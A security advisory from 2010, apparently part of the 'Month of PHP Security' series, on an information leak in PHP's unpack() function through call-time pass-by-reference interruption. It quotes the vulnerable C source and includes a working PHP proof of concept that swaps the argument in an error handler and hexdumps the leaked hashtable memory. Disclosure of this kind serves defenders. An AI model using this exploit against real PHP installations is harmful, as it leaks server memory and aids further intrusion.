MOPS-2010-051: PHP unpack() Interruption Information Leak Vulnerability

May 31st, 2010

PHP’s unpack() function can be interrupted and used for information leakage due to call time pass by reference.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions.

One of the functions that is vulnerable to user space interruption is unpack().

PHP_FUNCTION(unpack)
{
    char *format, *input, *formatarg, *inputarg;
    int formatlen, formatarg_len, inputarg_len;
    int inputpos, inputlen, i;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &formatarg, &formatarg_len,
        &inputarg, &inputarg_len) == FAILURE) {
        return;
    }

    format = formatarg;
    formatlen = formatarg_len;
    input = inputarg;

The function starts by reading the two supplied parameters into local variables and then proceeding with parsing the supplied format string. Because of the call time pass by reference feature an interruption in the middle of the function allows to replace the input string with another variable type, which allows to leak the hashtable content. An interruption is possible by e.g. supplying an invalid positioning command.

case '@':
    if (arg <= inputlen) {
        inputpos = arg;
    } else {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type %c: outside of string", type);
    }

    i = arg - 1;    /* Done, break out of for loop */
    break;

The error handler can then change the content of the second parameter as demonstrated in the attached POC.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

<?php
function my_error()
{
    parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
    return 1;
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $l = 39;       
} else {
    $l = 67;
}
$GLOBALS['var'] = str_repeat("A", $l);

/* Trigger the Code */
set_error_handler("my_error");
$x = unpack("@31337/@0/A$l", &$GLOBALS['var']);
restore_error_handler();
hexdump($x[1]);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
}
?>

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.




blog comments powered by Disqus